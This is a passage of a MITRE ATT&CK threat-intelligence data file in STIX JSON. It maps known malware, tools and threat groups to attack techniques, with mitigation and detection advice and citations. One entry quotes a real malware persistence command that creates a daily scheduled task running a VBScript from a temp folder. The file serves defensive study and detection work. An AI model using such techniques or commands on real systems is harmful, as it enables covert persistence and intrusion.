DFIR_Sodinokibi_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b82cbc8a-72b9-4f2b-a978-88b066a73cfb","type":"relationship","created":"2021-09-28T20:06:11.030Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."},{"source_name":"Cyberint Qakbot May 2021","url":"https://blog.cyberint.com/qakbot-banking-trojan","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021."}],"modified":"2021-09-30T12:48:38.951Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can make small changes to itself in order to change its checksum and hash value.(Citation: Crowdstrike Qakbot October 2020)(Citation: Cyberint Qakbot May 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b82ceba5-d988-472d-acd4-b7b1bc49ebbc","type":"relationship","created":"2019-06-13T15:56:45.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object","description":"Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.","source_name":"Microsoft Create Token"},{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token","description":"Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.","source_name":"Microsoft Replace Process Token"},{"url":"https://technet.microsoft.com/en-us/library/bb490994.aspx","description":"Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.","source_name":"Microsoft runas"}],"modified":"2021-04-24T13:40:53.284Z","description":"Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.(Citation: Microsoft runas)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b82ea861-86df-4574-9727-f0d5828e9fe8","created":"2020-06-18T17:27:09.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 BackConfig May 2020","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T00:10:22.468Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has used compressed and decimal encoded VBS scripts.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b82f51f9-74a0-43e1-b3c6-63df3a90c9eb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2019-04-24T23:10:02.383Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) can list running processes.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b832110a-0610-4489-9729-a89064b8d61b","created":"2024-06-27T18:15:22.622Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T18:15:22.622Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) can ping a specific C2 URL with the ID of a victim machine in the subdomain.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8333924-1556-4c3f-b60f-105984e1f715","type":"relationship","created":"2021-01-13T18:23:50.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-13T18:23:50.496Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) decrypts [SUNBURST](https://attack.mitre.org/software/S0559), which was stored in AES128-CBC encrypted blobs.(Citation: CrowdStrike SUNSPOT Implant January 2021) ","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b835f71a-b961-4d69-a7eb-6bf682f433de","created":"2022-08-11T22:17:47.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:48:29.568Z","description":"[PyDCrypt](https://attack.mitre.org/software/S1032) has attempted to execute with WMIC.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b83dc94a-1fd6-4c07-8f8e-fc9479b00346","created":"2022-04-18T16:46:33.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T20:19:59.844Z","description":"Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor network traffic for rogue DHCPv6 activity.","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b842af96-8422-4b23-bd17-35d123c5a9b5","type":"relationship","created":"2021-11-29T21:18:40.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T21:18:40.003Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has compromised the Able Desktop installer to gain access to victim's environments.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b84414c0-18e9-4483-83db-555bd2880740","created":"2021-10-01T01:57:31.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cado Security TeamTNT Worm August 2020","description":"Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.","url":"https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/"},{"source_name":"Unit 42 Hildegard Malware","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"},{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Palo Alto Black-T October 2020","description":"Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021.","url":"https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.714Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used masscan to search for open Docker API ports and Kubernetes clusters.(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Cisco Talos Intelligence Group) [TeamTNT](https://attack.mitre.org/groups/G0139) has also used malware that utilizes zmap and zgrab to search for vulnerable services in cloud environments.(Citation: Palo Alto Black-T October 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b844919a-e7d8-4317-9f0d-56338bae818c","type":"relationship","created":"2021-02-10T19:12:08.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T19:12:08.186Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to gather information from the compromrised asset, including the computer version, computer name, IIS version, and more.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b844f979-ddd2-4def-8d07-89b56ef10713","type":"relationship","created":"2021-08-23T19:38:33.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-10-18T20:36:35.421Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) encrypts the victim system using a combination of AES256 and RSA encryption schemes.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8458076-fd1f-48e1-a637-57690c4fe59d","created":"2023-03-17T15:26:43.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T17:05:36.771Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used a custom build of open-source command-line dbxcli to exfiltrate stolen data to Dropbox.(Citation: ESET Lazarus Jun 2020)(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b847cd82-14c8-4270-b03d-2acf3abda4b6","type":"relationship","created":"2021-04-21T15:05:48.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 SUPERNOVA Dec 2020","url":"https://unit42.paloaltonetworks.com/solarstorm-supernova/","description":"Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021."},{"source_name":"Guidepoint SUPERNOVA Dec 2020","url":"https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/","description":"Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021."},{"source_name":"CISA Supernova Jan 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a","description":"CISA. (2021, January 27). Malware Analysis Report (AR21-027A). Retrieved February 22, 2021."}],"modified":"2021-04-21T15:05:48.924Z","description":"[SUPERNOVA](https://attack.mitre.org/software/S0578) is a Web shell.(Citation: Unit42 SUPERNOVA Dec 2020)(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: CISA Supernova Jan 2021)","relationship_type":"uses","source_ref":"malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b849b1ae-0b73-484c-9061-38ddf3cbdbb3","type":"relationship","created":"2020-03-15T16:21:45.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T16:21:45.240Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b84a9cf4-976d-452d-8de0-76e318078a5c","created":"2022-09-20T15:20:53.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T15:03:17.712Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors named a malicious scheduled task \"WinUpdate\" for persistence.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b84cc63e-63c5-4478-897b-9237b4820f36","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:30:45.118Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\n","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b8526d91-9d81-4b4c-b317-485ac7efc04a","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","modified":"2022-04-12T13:15:10.314Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b853cee3-a145-407f-83fe-dd52c4efbe2f","type":"relationship","created":"2019-01-30T17:13:11.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","source_name":"ClearSky MuddyWater Nov 2018"}],"modified":"2020-03-16T16:04:07.121Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) has established persistence through a scheduled task using the command ”C:\\Windows\\system32\\schtasks.exe” /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR “c:\\Windows\\system32\\wscript.exe C:\\Windows\\temp\\Windows.vbe”.(Citation: ClearSky MuddyWater Nov 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b8545621-f2c5-4834-a19d-fa1e0eccd33b","created":"2022-10-04T20:46:00.216Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T20:46:00.216Z","description":"During [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors downloaded tools and malware onto a compromised host.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b85862ff-5bde-4f6e-8483-901bab69a3a2","type":"relationship","created":"2020-03-17T18:46:03.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.","url":"https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/","source_name":"CoinTicker 2019"}],"modified":"2020-03-17T18:46:03.873Z","description":"[CoinTicker](https://attack.mitre.org/software/S0369) executes a Python script to download its second stage.(Citation: CoinTicker 2019)","relationship_type":"uses","source_ref":"malware--d1531eaa-9e17-473e-a680-3298469662c3","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b8594cae-f7d4-4f56-b6ec-b458d9aa101a","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b85998e0-9f93-4cb3-a1cf-64e510b109c4","type":"relationship","created":"2021-09-16T20:11:12.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Sliver Encryption","url":"https://github.com/BishopFox/sliver/wiki/Transport-Encryption","description":"BishopFox. (n.d.). Sliver Transport Encryption. Retrieved September 16, 2021."}],"modified":"2021-10-16T02:16:55.545Z","description":"[Sliver](https://attack.mitre.org/software/S0633) can use AES-GCM-256 to encrypt a session key for C2 message exchange.(Citation: GitHub Sliver Encryption)","relationship_type":"uses","source_ref":"tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b85cff83-6468-4c63-9b25-4ac75fcb0e10","type":"relationship","created":"2019-10-05T02:34:01.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub MailSniper","url":"https://github.com/dafthack/MailSniper","description":"Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019."}],"modified":"2020-03-11T17:15:28.465Z","description":"[MailSniper](https://attack.mitre.org/software/S0413) can be used for password spraying against Exchange and Office 365.(Citation: GitHub MailSniper)","relationship_type":"uses","source_ref":"tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b85fdb75-ec29-4bc9-921d-b11ebd8528dc","type":"relationship","created":"2021-02-03T18:13:28.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."},{"source_name":"Phish Labs Silent Librarian","url":"https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment","description":"Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."},{"source_name":"Secureworks COBALT DICKENS August 2018","url":"https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities","description":"Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021."},{"source_name":"Proofpoint TA407 September 2019","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."},{"source_name":"Secureworks COBALT DICKENS September 2019","url":"https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again","description":"Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School…Again. Retrieved February 